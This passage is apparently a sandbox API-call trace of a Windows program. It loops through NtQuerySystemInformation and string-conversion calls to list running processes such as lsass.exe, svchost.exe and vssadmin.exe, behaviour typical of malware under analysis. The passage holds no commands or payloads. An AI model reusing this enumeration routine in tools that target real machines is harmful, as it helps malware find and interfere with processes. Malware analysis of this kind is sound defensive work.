DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171330 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dd8 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31624a0 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e50 [0088.428] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0088.428] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175bb8 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171410 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0088.429] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.429] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0088.430] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.430] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0088.430] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0088.430] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0088.430] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0088.430] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0088.430] Sleep (dwMilliseconds=0x64) [0088.796] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3178518 [0088.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.796] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x2048) returned 0x3178518 [0088.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.796] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x306c) returned 0x3178518 [0088.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x4090) returned 0x3178518 [0088.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x50b4) returned 0x3178518 [0088.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x60d8) returned 0x3178518 [0088.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.797] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x70fc) returned 0x3178518 [0088.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x8120) returned 0x3178518 [0088.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x9144) returned 0x3178518 [0088.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xa168) returned 0x3178518 [0088.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.798] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xb18c) returned 0x3178518 [0088.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.799] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xc1b0) returned 0x3178518 [0088.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.799] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xd1d4) returned 0x3178518 [0088.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.799] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xe1f8) returned 0x3178518 [0088.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.800] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0xf21c) returned 0x3178518 [0088.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.800] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x10240) returned 0x3178518 [0088.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.800] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x11264) returned 0x3178518 [0088.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.801] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x12288) returned 0x3178518 [0088.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.801] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x132ac) returned 0x3178518 [0088.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.801] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x142d0) returned 0x3178518 [0088.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.802] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x152f4) returned 0x3178518 [0088.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.802] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x16318) returned 0x3178518 [0088.802] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.803] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x1733c) returned 0x3178518 [0088.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.803] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x18360) returned 0x3178518 [0088.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.803] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x19384) returned 0x3178518 [0088.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.804] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x1a3a8) returned 0x3178518 [0088.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.804] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x1b3cc) returned 0x3178518 [0088.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.805] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x1c3f0) returned 0x3178518 [0088.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0xc0000004 [0088.805] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3178518, Size=0x1d414) returned 0x3178518 [0088.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3178518, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3178518, ResultLength=0x0) returned 0x0 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175d88 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a430 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a430 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.806] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0088.806] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x315a490 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a430 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175a98 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a430 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a490 [0088.807] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.807] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a430 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a490 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a4d8 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a430 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x315a4d8 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x315a490 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a430 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x3168880 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.808] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a4d8 [0088.808] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a430 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171330 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x315a430 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a4d8 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x315a4d8 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0088.809] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x315a430 [0088.809] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 